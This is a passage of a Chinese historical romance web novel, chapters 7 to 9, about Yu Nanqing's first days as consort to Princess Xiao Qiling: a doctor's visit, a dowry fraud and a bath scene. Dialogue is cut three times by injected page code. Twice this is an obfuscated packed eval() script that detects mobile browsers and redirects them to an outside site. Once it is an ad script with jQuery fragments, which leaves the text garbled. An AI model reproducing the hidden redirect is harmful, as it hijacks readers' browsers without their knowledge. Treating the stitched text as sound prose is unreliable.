《被献祭给疯批长公主冲喜后》
7. 第七章
郁南卿当晚便起了低烧,好在症状不重,府中大夫来看过后开了两贴药,第二天醒来时已经没了大碍。
屋子里还是入眼的喜红,就连那顶凤冠都还被摆在桌上,萧祁泠没有命令,谁也不敢擅自作主。
“昨日你是如何回来的?”郁南卿昨夜半梦半醒间见到沉香替她擦脸更衣,当时没想起跟沉香的约定,此刻不免有些愧疚。
“是宁王府一个侍卫带我回来的,她武功好高,抱着我还能飞檐走壁。”沉香眉飞色舞的给郁南卿比划,“宁王府的人可真不错。”
郁南卿悠悠的‘哦’了一声,侧目打趣她:“今儿个不觉得宁王府可怕了?”
“宁王也许也是个好人吧。”沉香为郁南卿插上发簪,饶是她天天对着郁南卿的脸,还是会为她家小姐的容貌所惊叹,“小姐,要不怎么说人逢喜事精气爽呢。”
郁南卿低眸:“传膳吧。”
沉香点头称是。
原本郁南卿没被安排在主院,沉香以为她们在宁王府会受冷落,可除去宁王不在之外,宁王府上上下下对她们都还算恭敬,至少比在国公府自在得多。
快要出门时,她又听见郁南卿吩咐:“等等,我是不是该去给宁王请安一同用早膳?”
这本是王妃的礼节,若是宁王身体康健,新婚第二日他们还得进宫磕头。
沉香忙道:“小姐不用过去,昨夜我寻大夫时,府医皆被宁王召了过去,应当是宁王的病情又加重了。”
她长叹了口气:“我原本都不抱希望了,但我说明来意后,他们便派了个府医跟我回来。”
郁南卿笑笑:“难怪你今儿个转了态度。”
沉香挠头:“小姐不妨用过早膳后去探望?”
“算了,还是不去了。”郁南卿慢悠悠的摩挲着手腕上的并蒂莲的镯子,指尖在相连的莲花间摩挲片刻,遗憾道,“宁王金尊玉贵,我若是把病气带给她就不好了。”
沉香连连称是。
用过早膳后,郁南卿让沉香唤来了水。郁南卿在国公府时用惯了香料,一来可以清洁肌肤,二来可以强身健体,若是在夏日,还能起到防蚊虫叮咬的效果。
郁南卿靠着浴桶闭目养神,沉香一边给她清洗长发一边陪她说话。前世大齐开始战乱后不久,沉香便在一次途中死于意外,之后就算再有其他的丫鬟也都对她恭恭敬敬,再也没有能贴心说话的人,此刻听沉香在耳边叽叽喳喳的感觉颇为不错。
“小姐,宁王之前给的聘礼各个价值连城,可府中似乎并不奢靡。”
要不是因为宁王是郁南卿的夫君,沉香甚至想说一句‘府中有些寒酸’。
热水熏得郁南卿浑身毛孔都舒张开,她懒洋洋的从鼻尖发出一声‘嗯’,算是回应。
跟郁南卿原本奢靡的日子相比,自然是显寒酸的,毕竟能像她这样随随便便一个簪子就八百两的,京城中有几户人家能做到?
至于宁王给的那些聘礼,大多都是皇后赏赐,属于宫中之物,皇家每个物件都有做下标记,无法到市面上流通变现。
只要郁秉儒的脸皮还没厚到私吞给女儿的聘礼,那这些物件最终还是会被放在嫁妆里,再抬回宁王府。
一来一去,倒也不亏。
但……宁王的东西不敢扣,她的东西就不一定了。
郁南卿半阖着眼,指尖在浴桶壁上轻轻敲击两下,笑道:“等会儿去找宁王府的管事过来一趟,就说我要从嫁妆里取些惯用的物件。”
就像她惯用的香料和一些衣服首饰,来宁王府时都被收入其中一抬嫁妆箱子里。
直接过去取显然不行,昨夜她就发现嫁妆箱都被上了锁,钥匙不在她这儿,想必是交给了宁王府。
“好的小姐。”
沐浴完才擦干净头发,门口就想起一道带有怒气的声音:“我昨夜如何交待的,王妃身子弱这几天需安生躺在床上,不可沐浴不可受风,把我的话听到哪儿去了?”
沉香的声音混在其中,低声道歉:“王妃昨儿个晚上烧就退了,出了不少汗,身子黏腻不爽快,毕竟是姑娘家,总得洗一洗吧?”
“我难道不是女的,少洗一次会要她的命?”
沉香还真在心中腹诽了一句:会要命。
她家小姐吃穿用度处处精细,要不是东西都还未搬过来,身上穿的每件衣服都要经过熏香才肯上身,更别提让她出了汗还不能沐浴了。
门被狠狠推开,府医是唯一能在府里来去自由的人,就算对着萧祁泠都能不守规矩的直言不讳,沉香自然拦不住人。
郁南卿身着一身素白,半干墨发垂于身后,浅淡的双眸里染了几分笑意:“昨夜多谢大夫妙手,不知今日前来,可还有其余的事?”
府医被她这么亲亲和和的一笑,卡在嗓子眼的责骂声顿时都说不出口了。
“我听你的丫鬟说,你前段时间落了水,以至于风寒之症一直没好全?”府医放下药箱,手指不由分说的搭上郁南卿的脉。
“你底子虚,汤药只能解一时之症,不如换个疗法。”
“换个疗法?”沉香好奇。
府医打开箱子,从里面拿出一包卷起的皮布,沉香好奇的探头过去,想看看是什么良方,在看到一根根比手指还长的细针后倒吸了口凉气。
“我觉得我已经好了。”郁南卿前世身子骨就虚,当时也有大夫向她提议过针灸,皆被她一一拒绝了。
重来一世,她也不想被这些针扎。
府医欲再劝:“王妃切莫讳疾忌医,这也是为了您身体康健长久着……”
“不是我不想针灸。”郁南卿无辜的眨了眨眼,声音十分轻缓,“你家殿下昨夜对我一见倾心,要是知道你在她之前就摸过我的身子,必定将外头口中宁王府可怖的几十套刑罚全让你体验一遍。”
府医:……
沉香睁大了眼睛:“小姐,你昨夜见到宁王了?”
郁南卿骗都骗了,也不在乎再多骗几句,于是目露深情的望向门口的方向:“嗯,不信你可以去问宁王啊,昨夜我遇刺她突然赶到,把我抱在怀里安慰了好久,恩恩爱爱花前月下。”
沉香:!
府医第一反应就是想去找宁王求证。
但她们殿下常年喜怒无常,根本不会搭理这种莫须有的问题。
她今日前来就是奉萧祁泠的命来探探郁南卿的底子,寻一寻有没有练过武的痕迹,这才特意提出要针灸。
此刻,她握着细针的手抖了又抖,最终泄气一般将针包卷了回去。
“那我给王妃再开几贴汤药吧。”
至于摸根骨,谁的王妃谁自个摸,她可摸不清楚。
府医走后,郁南卿嫌屋子里头闷,也起身想去院子里走几圈,沉香取来添置好炭火的手炉,郁南卿懒洋洋的抬起手,由沉香放入她怀里。
等到沉香去拿保暖的外衣时,郁南卿懒懒一转眼,便看到窗台处一道高挑的身影——那人身着翡翠烟罗锦袍,手中羽质折扇饶有兴致的轻摇着,脸上笑意深深,不知道在窗外听了多久。
好在郁南卿脸皮极厚,竟还朝着萧祁泠弯了弯眸子:“殿下怎么过来了?”
萧祁泠似笑非笑:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363641|140870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“不过来,怎么能知道我对王妃一见倾心,花前月下呢?”
嗓音清柔化作无数不可名状的触须,从四面八方涌开,将郁南卿团团困住。
她后背发凉,惊恐的看着萧祁泠,手一颤,手中暖炉‘啪’地一下砸落在地。
萧祁泠嘴角轻挑,似乎对郁南卿受惊的样子感到极有意思。她从窗口绕到门边,进了屋,打量着屋内满室的喜庆,颇有性质。
郁南卿向她欠身行礼,萧祁泠随意一摆手:“今后在府内不必多礼。”
郁南卿假惺惺推辞:“这不大好吧?”
萧祁泠侧过头,眉眼落下阴影:“本王对爱妃一见倾心,自然要体恤爱妃辛苦。”
爱妃。
很好,她又升级了。
郁南卿低下头,像是小女儿娇羞般。
萧祁泠看屋子的时候,郁南卿就偷偷打量着萧祁泠。
两次。
无论是昨晚见到萧祁泠还是今日,萧祁泠都着女装的打扮,在府中丝毫不加遮掩,来去自由。
要么是萧祁泠真的疯到不在乎了,要么就是宁王府已经被牢牢的把控在萧祁泠手中,不会泄漏出去半点风声。
郁南卿更偏向后面那种可能。
毕竟在前世,郁南柔就没提过萧祁泠女儿身之事,想必是被安排在了更为偏远的屋子。
可她为何被安排在了这里?
昨夜一行,郁南卿很清楚自己院落的位置并不偏僻,萧祁泠若是不想让她知道性别,就定然不会把她安置在这里。
就在郁南卿百思不解之时,萧祁泠突然朝她看了过来:“本王脸上有东西?”
被抓包了。
郁南卿摇头,乖巧道:“殿下很美。”
萧祁泠的的目光在她脸上停留几秒,笑开:“你知道我是如何对待评论我容貌之人的吗?”
郁南卿一哽。
心道总不会又要咬人了吧?
况且,萧祁泠不想让人注意容貌,就老老实实继续穿她的男装啊,头上戴那么多好看的珠钗做什么?
郁南卿理直气壮:“他们评论那是妄议,不敬殿下罪加一等。我是殿下明媒正娶的王妃,多看几眼夸一夸怎么了?”
“花言巧语。”萧祁泠评价完,朝郁南卿招了下手:“你喜欢看书?”
郁南卿摸不准她的心思,说了句:“还行。”
“识字多吗?”
上辈子考中过状元的郁南卿:“应该不少?”
也不怪萧祁泠这么问,国公府几代都没出过一个科举之人,对儿子的要求不高,更别提是府中的姑娘了,就算郁南卿真的不识字,她也不会太过惊讶。
她听到书卷被翻开的轻微摩擦声,在寂静的屋内格外清晰。
郁南卿的书册都留在了郁国公府,那些书她早已了熟于心,带过来只会徒增麻烦。她起先还有些疑惑桌上有何书册,刚走过去,便见萧祁泠翻动书页的修长指尖一顿,没再继续翻。
而是意味不明的停顿住了。
气氛渐渐从安静变得诡异。
萧祁泠含笑:“爱妃彻夜勤学,本王甚是欣慰。”
郁南卿一愣。
啊?
她勤学什么了?
萧祁泠的手重新翻动了书页,但这一次,是将整个册子都合上了。
转过身,目光自郁南卿的那截柔韧细腰上轻轻一扫,将册子放到郁南卿手上。
“那今晚便来侍寝吧。”
郁南卿低下头,这才看清那本册子的内容——俨然就是昨夜她翻过的那本春宫册!
8. 第八章
“小姐,小姐?”
沉香唤了郁南卿好几声,才把郁南卿从思绪放空的状态下拉回来。
方才萧祁泠扔下这么一句平地惊雷的话后,也不管郁南卿什么反应,像是欣赏了一出好戏后便心满意足的离开了,留下郁南卿一人反复猜测她的真实意图。
“何事?”
“府医吩咐的药煎好了,小姐趁热喝吧。”沉香将一碗黑黢黢的汤药端到郁南卿面前,贴心的舀起一勺打算喂给郁南卿。
清苦的药香味扑鼻,郁南卿皱了下眉,直接端过药碗一饮而尽。
她这才想起桌上的这几本春宫册,搭在手指在上面轻轻压了压。萧祁泠既然没打算在她面前伪装性别,那这几册男女春宫册就定然不是宁王府的人准备的。
“这几册书是谁留在这儿的?”郁南卿问正带着空药丸出门的沉香。
“来宁王府前,纪嬷嬷塞进我袖子的,让我务必在你们圆房前摆在小姐够得着的地方。”沉香说起这个也有些脸热。
那就解释得通了。
可萧祁泠的目的又是什么?是试探她究竟好男还是好女?还是试探她十分是真心嫁入王府?
又或者两者皆不是?
各种猜测在郁南卿脑中不断盘旋,她身子还没好彻底,本就羸弱,这会儿一歇下来眼皮子就有些重。
她脱了外衣又到床上躺了会儿。
这一觉睡得并不踏实,梦里有一团迷雾将她重重困住,无论往哪个方向走都挣脱不得。
直到迷雾散去,一双手忽然从身后将她拥紧,炽热而潮湿的呼吸直往耳畔里钻,响起萧祁泠的声音:“那今晚便来侍寝吧。”
郁南卿猛地惊醒过来。
隔着重重帷帐,日头渐高,说话声断断续续从门口传来。
“沉香。”郁南卿唤了一声。
沉香一直注意着屋内动静,听到郁南卿的声音后快速走进来,拨开床帘,扶着郁南卿半坐起来:“小姐醒了。”
“水。”郁南卿的嗓子有些发干,许是睡前那碗汤药的作用。
直到半杯温水入喉,郁南卿才觉得好受一些,问起屋外之事:“可是宁王过来了?”
“是掌管库房钥匙的管家,正候在外头。”沉香见郁南卿起身,忙拿来外衣给郁南卿披上,张了张嘴,有些欲言又止。
郁南卿注意到了,侧头问:“想说什么?”
“宁王殿下……”沉香方才一直想问,见郁南卿神态不佳,又不敢多问,此刻倒是有些忍不住了。
“是个女人。”郁南卿猜到沉香想问什么,答得十分直白。
“那那那那我们会不会被灭口?”沉香神情紧张。
“也许会吧。”郁南卿见她这副紧张兮兮的样子,不甚好笑,“行了,只要我们安分度日,她暂时也不会对我们做什么。”
沉香听她这么说后,往门外的方向看了眼,压低声音问:“小姐,宁王若是个有抱负的,那你把考过科举之事告诉她,也许她会帮你?”
这件事在国公府时成了主仆二人心照不宣的隐秘。之前纪氏还在时,每两年都会领着郁南卿下一回江南,纪氏走后,这个习惯也被保留了下来,郁南卿之前的两试便是借纪家的科举名额考上的。
沉香拢了拢郁南卿的外袍,“小姐,你不想再继续往前试试吗?”
郁南卿望向窗外,思绪翻飞。功名利禄自然比屈居于后院要好得多,前世她在金銮殿上直步青云,也在长安街上打马游街。
只可惜当时少不更事,只看到了鲜衣怒马的喧嚣红尘。
“春闱整整九日,我如今的身体状况,恐怕还有待商榷。”郁南卿摇了摇头。
沉香双手合十,笑着闭眼许愿:“那希望小姐赶紧好起来。”
郁南卿也笑,“但愿吧。”
可她终究要辜负沉香的这番祈愿,效忠帝王家这种事,她只打算做一次。
如前世那般步步为营的辛苦一生,无论考上科举后站队哪一个皇子,最后皇位都会旁落,他们这群效忠之人也只会落得清净兔死狐悲的下场。
既是如此,又何必让自己劳心劳力?
郁南卿这一觉睡过了饭点,她没什么胃口,喝了半碗厨房煨着的燕窝后,便出了门。
管家带着人在收拾小院内张贴的喜字,见到郁南卿恭恭敬敬的行了一礼:“王妃用完膳了?可合胃口?府内有好几个厨子,若是不满意可以换一个过来。”
“不必那么麻烦。”郁南卿看到管家身后大片的红贴,想必是得了萧祁泠的指令,于是也吩咐道,“屋里头的也收拾了吧。”
管家躬身道‘是’,转头对小厮吩咐几句后,提起带郁南卿去核对嫁妆之事。
一行人往前院走去。管家是宫中的老人,曾是皇后娘娘的贴身婢女之一,萧祁泠到了出宫建府的年岁,皇后便将她指了过来,算是宁王府的老人,一直替萧祁泠掌管府中中馈。
按照规矩,新妇的嫁妆被抬到夫家后,便是新妇安身立命之本,就连夫家也不能擅自动用。因此郁南卿的那些嫁妆依旧保持着昨日原封不动的状态。
一行人拿着嫁妆礼单从晌午一直核对到天色暗沉下来,也紧紧只核对了一半,其中大多还田庄商铺的地契,饶是管家嬷嬷在皇后身边多年,看到如此多的实产也不免有些咋舌,看向郁南卿的眼神又恭敬了三分。
郁南卿对这些到没什么实感,她在乎的是李氏究竟有没有如数将这些东西换回来。
前世她与郁南博郁南柔决裂时,便提过分家之事,当时李氏能拿出的嫁妆已经不足原来的三分之一,皆以送入宸王府为由搪塞过去。
郁南卿当时也在宸王阵营,不可能真去宸王府算账,只能罢休。如今却不一样了。
正翻动着手中账册,沉香拿了几枚金钗过来给郁南卿看:“小姐,你看。”
郁南卿低头,几件做工与用料明显残次的簪子被沉香递过来。
“有多少?”郁南卿问。
沉香答:“每台箱子里都有一些,剩下的还没核对。”
空气有片刻的凝滞,郁南卿轻笑了一声,嗓音却如淬了冰一般冷寒:“看来我爹这个国公爷的威信,也不过如此。”
沉香急得都快哭了:“小姐,他们秋水阁的也太过分了,这可怎么办啊?”
郁南卿自有解决的办法,有郁南柔和郁南博二人,国公府何愁没有把柄?
就在她如此打算之时,旁边的管家嬷嬷笑呵呵的过来提醒:“殿下邀王妃一同晚膳,这儿交给奴婢们,定然帮王妃打理得清清楚楚。”
郁南卿被一提醒,才想到今晚还有侍寝之事。
顿时计上心头。
可如今她是有‘夫君’的人,这种事情怎么能自己解决呢?
萧祁泠这么喜欢试探她,她也试探一回,总不过分吧?
“那就麻烦嬷嬷了。”
郁南卿将沉香手里的首饰一抓,转头对沉香道:“走,找宁王告状去。”
宁王府书房。
偌大的书房寂静无声,萧祁泠端坐在书桌后,执笔在案上书写。
书房门突然‘砰’一声被大力推开,萧祁泠眉心紧皱,漆黑的墨迹划出一道长长的痕迹。
刚抬起头,就看到郁南卿风风火火的闯进来,双手撑到书案上,毫不客气地道:“你爱妃受人欺负了,你管还是不管?”
萧祁泠身边的人向来恭敬,稍微出格一点的也就是连内阁首辅都管不好的卫云翰,但也从不敢在她面前如此逾矩。
她先是愣了一下,目光轻然落向郁南卿撑在桌上的双手,停了两秒。
郁南卿毫无底气的收了回去。
萧祁泠这才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363642|140870||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慢条斯理的复述:“你被人欺负了,来找我?”
郁南卿听她用‘我’的自称就知道有戏,一改方才粗鲁的行径,绕过书桌,走到萧祁泠面前蹲下身,讨好似的拉过萧祁泠的手,放在自己颊边蹭了蹭,弯起眼眸笑起来。
“殿下是我夫君,我自然是要找你撑腰的呀。”
萧祁泠眸子沉沉盯着郁南卿的那张脸。
明明静坐时冷淡如月,笑起来又昳丽无双。此刻郁南卿趴在她膝头,漂亮的脖颈微扬起,来时似乎跑得急了,脸颊泛出一抹潮红,含情脉脉的双眼望过来时堪称活色生香。
萧祁泠也不制止她,就懒洋洋的靠在椅背上,只用一根墨玉簪挽起的长发随意披散着,似笑非笑的注视着她。
像是想要看看郁南卿到底能作到何种地步。
“是国公府的嫁妆出了问题?”
郁南卿乖巧点头,小嘴一张叭叭告起状:“他们嫁妆清单上的物件跟送过来的根本不是同一件,好多都以次充好,可我父亲之前明明答应了我会严格把关,他这不仅仅是委屈了我,更是打了殿下的脸。”
萧祁泠眉梢一挑,反问:“人人都知我命不久矣,我又如何为你去国公府撑腰?”
郁南卿深情款款,当即给了萧祁泠一个理由:“我对殿下情根深重,感动上苍,不惜以己身之血哺喂殿下,殿下病情竟真有了起色。”
萧祁泠拿过杯盏,轻抿一口:“是吗。”
郁南卿想到昨晚上萧祁泠没对她动手也是因为她的一番示爱,当即心下一喜,正欲添油加醋。
可她还没喜完,手腕突然被人一扯,将她纤瘦的身子从地上拉了起来,直直跌坐进萧祁泠的怀里。
萧祁泠的手在郁南卿后背轻轻抚摸,脸上笑意更深:“但爱妃是如何知道,我的病需要以人血入药引的?”
人血,入药引?
郁南卿只是随口一说,哪知道还能成真?
“殿下莫开玩笑了。”
“你觉得我在同你说笑?”萧祁泠的话意味不明。
她的眼神太有攻击性与压迫性,即使脸上是笑着的,配上说的话,郁南卿只觉得一股寒意深入骨髓。
郁南卿毫不怀疑她若是没能让萧祁泠满意,覆在她后背的手下一刻就会拧断她的脊椎。
好在郁南卿能屈能伸,话都到这份上了,眼见着无处可避,索性也不挣扎了,只微微直起身,脖颈轻侧靠近萧祁泠,故作淡然道:“冒犯殿下了。”
萧祁泠垂眼看着她打算如何冒犯。
覆在郁南卿背上的手动作慢了下来,随时都能取其性命。
郁南卿倾靠过去。
叭。
萧祁泠随时准备动手的手指一僵,含笑的眸瞳有一瞬间的放空。
郁南卿轻如点水般的在萧祁泠脸上印下一吻后,也不管此举会在萧祁泠心中掀起多大的风浪,仰起头可怜兮兮道:“能在死前与殿下有肌肤之亲,我也能瞑目了。”
她亲完后便闭上了眼,宛若壮士断腕直接摊平趴到萧祁泠肩头,奄奄一息的装死。
“我死后,殿下可一定要记得有一个女子甘愿为你做药引,以后中元节也得记得多给我烧纸钱啊。”
萧祁泠静默片刻,手背青筋臂显,又在下一刻全然散去。
她突然带着郁南卿起身:“站好,走。”
郁南卿终于被放开,慢吞吞地扯了扯松散的外氅:“去哪儿?”
萧祁泠转过身静静望着郁南卿。
她有一双极为出色的桃花眸,眼骨深邃,眸光内敛,此刻专注盯着郁南卿时,会让人有种深情的错觉。
但刚亲了萧祁泠的郁南卿知道,此刻被萧祁泠盯上定然不是什么好事。
“做药引前也得沐身吧。”萧祁泠嘴角含笑,语带讥诮。
“我亲自帮你洗。”
9. 第九章
郁南卿跟着萧祁泠一同出门时,等在门外的沉香听到动静刚要迎上去,就见到宁王殿下一脸春风的从屋子里走出来,裙摆上的金丝凤绣纹栩栩如生,尊贵而又华丽。
而她家小姐,则是满脸麻木,仿佛要赶赴什么断头台。
沉香微微一怔,反倒觉得有些稀奇。纪氏离开后,郁南卿便整日闷在屋子里温书,原本被养得娇惯张扬的性子也渐渐变得孤僻郁郁。
可才到宁王府没两日,沉香竟从郁南卿脸上看到了许多真实而又起伏的情绪。
郁南卿显然无暇顾及沉香。她幽幽望着前方萧祁泠的背影,差点咬碎了后槽牙。
她连故意恶心的招都用上了,按照她原先的想法,萧祁泠应该直接把她丢出去,连带着今晚的侍寝也免了。
郁南卿不了解萧祁泠,却能从对萧祁浚身上推测,天潢贵胄怎能容忍旁人冒犯?
可偏偏萧祁泠还要亲自帮她沐身,郁南卿不禁荒诞的想,萧祁泠该不会真要拿她入药吧?
郁南卿不情不愿的跟在后面,注视着萧祁泠的背影。突然,身后传来脚步声。
郁南卿心中一喜。
定是来寻萧祁泠商量要事的。
郁南卿按捺住心中喜悦,淡定的回眸。
只是一眼,扬起的脸瞬间垮下去。
来人并非什么高深的谋士,只是王府中几个杂扫的小厮,正抬着几个冒着热气的浴桶往她们的方向来。
郁南卿眼皮直跳,突然抬手拽住萧祁泠外氅,叫停萧祁泠的脚步。
“殿下啊。”
萧祁泠被扯得外氅轻斜,蹙眉回头看郁南卿又要作什么妖。
郁南卿的脸被风吹得发白,只是换个院子的距离,只因走得太快就不迭喘息,病怏怏道:“我、我走不动了咳咳咳,不如殿下前行,我稍后再来?”
萧祁泠的视线落在郁南卿唇间新咬出的细碎齿痕上,像是收了什么天大的虐待。她忍不住伸出指腹,轻轻将其分开:“委屈什么?”
郁南卿被猝不及防的这么一按,还来不及作出反应,一只微凉的手忽地扣上她的手腕,用力一拉。
双脚腾空的那一刻,郁南卿吓得去抱萧祁泠的脖子:“你做什么——”
萧祁泠好整以暇的垂眸打量怀里的人,青丝散落在两人的衣襟处,修长的手指无意识的揪住锦袍,隐忍而又脆弱。
“都胆大包天敢亲我,怎么一听要引血就魂不守舍的?”萧祁泠很低的一声笑,“骗一骗你还当真了,笨。”
郁南卿面上虽维持一贯的镇静,耳根却被那最后一个字腾得一热,转过头撇开脸,不再看萧祁泠。
如此一来,萧祁泠便能清晰的瞧见郁南卿耳后的变化。
唇角微不可察的扬起一瞬,快步抱着人进了屋。
暖阁内的布置十分精妙,正中央便是一方池水,屋内地龙烧得旺盛,相比较而言,郁南卿住的小院要寒碜许多。
地龙唯有皇家可使用,就算在皇宫中,妃位品级也难以享受,郁南卿没想到宁王府中还有如此布局。
丫鬟撩开珠帘,萧祁泠把郁南卿放到美人塌上,招来两个丫鬟伺候,转身去了里头,安排好的府医早已等在那里。
约莫半盏茶的时间后,把脉的府医眉头紧锁的收回手,担忧道:“前些日子激发的毒性还未祛除,昨日又动了手,只怕没有半个月,是好不了了。”
若是郁南卿在这,定会惊讶于府医口中萧祁泠的病情。
伺候的丫鬟悄无声息的退了出去,萧祁泠从容解开衣衫,如绸的乌发沿笔直的背脊线条散至腰迹,露出大片如瓷的背肌。
“殿下,属下要给您施针了,忍着些。”府医给银针消完毒,熟练的按照经络一一施下。
萧祁泠趴在榻上,双眸微阖。此刻的她并不像在郁南卿面前那样能闲适的谈天说笑,而是周身萦绕着天潢贵胄的冷厉气质。
哪怕背上脉络凸显,体内余毒灼烧,萧祁泠的眼皮也没动一下,不知道的还以为那细长的银针另有关卡,根本没有送到实处。
可萧祁泠体内的余毒到底如何,府医比任何人都清楚。不能完全清除,又不能放任不管。压制的毒性会一点一点蚕食萧祁泠的生机,也会在萧祁泠动手之时被再度唤醒。
萧祁泠整整熬了三年,从最开始痛不欲生到如今的面不改色,府医眼中浮现出欣赏与惋惜之色。
若非武宣帝早逝,萧祁泠本该是大齐最尊贵的公主,何至于在文景帝手下残喘偷生。但也正是这份世道,让萧祁泠成为了他们的主子,才能让他们俯首称臣。
“只要照旧调理施针,毒不会被引入心肺。不过……”府医顿了顿,往珠帘的方向瞥了眼,“殿下,这位郁三小姐来自国公府,您其实可以将人打发的远远的,为何要放在身边?”
萧祁泠淡淡道:“她跟国公府关系特殊,若不放在身边,也看不清她的目的。”
府医点头:“也是,若真是无辜被累嫁进府的,也是个可怜之人。”
等到银针疏通经络的时间里,府医又提到从外面听来的传闻:“郁三小姐入府前似乎还被家中姊妹推入了湖里,怪得身子骨那么弱,吹一吹风就受不了。”
萧祁泠掀起眼皮,想起方才来暖阁路上发生之事,墨黑的瞳孔中闪过一丝笑意:“是啊,不仅体弱,胆子也小,娇气得很。”
另一端,郁南卿一沾到柔软的榻就不想起身,懒洋洋握在美人塌上一动也不想动。
宁王府看起来不显山不露水的,不仅有萧祁泠这位女扮男装的主人,还有暖阁这种冬日的好东西,郁南卿就算再有钱,也未曾享受过,心中连连感慨。
旁边伺候的丫鬟已经来问了好几回是否要更衣入水,郁南卿皆以等萧祁泠一块为理由拒绝。
浑身都被暖意包裹,郁南卿在榻上小憩片刻醒来后,仍未发现萧祁泠的身影,想起萧祁泠之前对她的捉弄,颇有种上当受骗的愤懑。
但她又不想离开这儿,正犹豫时,珠帘被挑开,府医拎着熟悉的药箱从里头的隔间走出来,见到郁南卿后唤了声王妃,而后指向里头:“我得去配一副药方,劳烦王妃替我看顾殿下。”
郁南卿不知道抱着她还能健步如飞的萧祁泠有什么值得看顾的。
直到她踏入里间,看到萧祁泠背上排列有序的细长银针时,脑中忆起外界对于萧祁泠中毒之事的传言,她静静看了一会儿,听到萧祁泠唤她:“过来。”
郁南卿走过去,半蹲下身说明来意:“是府医让我过来的。”
并不是她主动的。
萧祁泠伸出手在郁南卿脸颊上揉了两下,问:“方才又睡着了?”
郁南卿神色怔忡:“啊?”
“都留印子了。”衣袖垫在脸下时间一久,映出几道红痕,像是受了什么欺负一般,却还不自知。
走到哪睡到哪,没有半点防备之心,也不知道是如何从国公府活下来的。
“清醒了吗?”萧祁泠见她点头后,笑意加深,“既然清醒了,就过来帮我把针拔了。”
郁南卿刚要上手,谁知抬头间,猝不及防看到白皙胳膊下露出的一小片鹅黄亵衣,呼吸顿时一滞。
“太、太冒犯了。”郁南卿狠狠闭了一下眼,果断止住手,“我手艺不佳,还是等府医回来替殿下拔针吧。”
萧祁泠见她停下,正奇怪,侧头顺着郁南卿的视线,继而反应过来,了然笑道:“这些针又不会吃了你,你怕什么?”
郁南卿咬了下唇,只觉得暖阁内的温度越来越高。这些针确实不会吃了她,可萧祁泠就不一定了。
她还记得萧祁泠让她今晚侍寝的话。
郁南卿不答,萧祁泠便极有耐心的等着她,唇边笑意加深,很是期待郁南卿的反应。
郁南卿只能硬着头皮说:“不怕。”
“乖。”萧祁泠低声哄,“既然不怕,就替我把针拔了。”
郁南卿本想说让丫鬟来,可转念一想,自己如今已是萧祁泠名义上的王妃,让丫鬟来似乎有些冒犯。
宁王妃深吸了口气,竭力忽视萧祁泠散开的大片肌肤,握住银针快速的往上拔,不敢有丝毫的停顿。
萧祁泠侧头教她拔针顺序,此刻侧眸目不转睛的盯着她,微热气息落至耳畔时,郁南卿忍不住缩了缩。
拔出的其中一个针孔在郁南卿除针过半时渗出血珠,郁南卿手一僵,顿时不知该不该往下拔。
然后,她听到一声很低的笑。
郁南卿本就紧张的心高高吊起。
“继续。”萧祁泠的声音懒洋洋的,带着经络活通后的惬意。
郁南卿又小心翼翼的继续。
越是往后,便越靠近背臀,府医丝毫没有因为萧祁泠的身份而手下留情,郁南卿想装作目不斜视,但眼角的余光已经撇到微微凹陷的腰窝。
萧祁泠的身体因常年习武略显清瘦,不会像男子那般有大块爆发力极强的肌肉,平躺着时,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
一身雪肌真真正正展现出何为金枝玉叶。
但郁南卿在成亲当晚就见识过萧祁泠一剑封喉的本事,自然不敢小瞧。那层白皙滑腻的肌肤随着拔针的动作晕出一层胭脂般的粉,宛若危险而又美艳的海妖设下的陷阱。
郁南卿的手确实开始抖了起来,她迅速拔出最后几根针后,忙低下头:“好了。”
“好了?”萧祁泠意有所指的反问。
郁南卿不解,还以为是因为自己没收拾银针,于是把拔下来的银针在盘里随意一揽,全堆在一个角落敷衍了事。
萧祁泠的唇角微微一动:“还未沐浴。”
“那我扶殿下过去。”
郁南卿的手刚搭上萧祁泠胳膊,就察觉到萧祁泠的长发散落到了自己的肩头,话紧跟着而来:“爱妃既将春宫册仔仔细细阅览过,想必准备充分,不会让本王败兴。”
她的嗓音带着笑,起身时也没去拉散落下去的衣袍,只着薄薄的一片亵衣,吐息间有热气落至郁南卿的耳侧,泛起丝丝酥麻的痒。
郁南卿忍不住往旁边移了半步。
但萧祁泠也站起了身,恰好往她的方向靠过来,距离重新被严丝合缝。
“我……”
“嗯?”
郁南卿环视了一圈暖阁,逃是肯定逃不出去的,她但凡逃一步,那堆好不容易收拾起来的银针,怕是下一秒就会朝她飞来。
“我定然不会让殿下失望的。”郁南卿唇边扬起灿烂的笑,扶着萧祁泠走向池水,下水前,甚至还贴心的试了水温。
“可以入水了。”
萧祁泠轻点了下头,身上累赘的外衣彻底褪下,如水的动作斯文优雅,连水花都不曾溅到池外。
她下水,转身递手给郁南卿:“我牵着你,免得摔了。”
郁南卿抿唇一笑,低头似是羞赧。
她跟萧祁泠一样只留了层亵衣,水面泛起圈圈涟漪,谁也没有觉得这般下水有何不妥。
水中,萧祁泠的手虚虚扶在郁南卿的腰侧,明明没有丝毫的触碰,却好似将人揽在怀中。她看着郁南卿的背影,看着那截修长而又脆弱的脖颈,眼底涌动过一丝深意,又很快被她掩下。
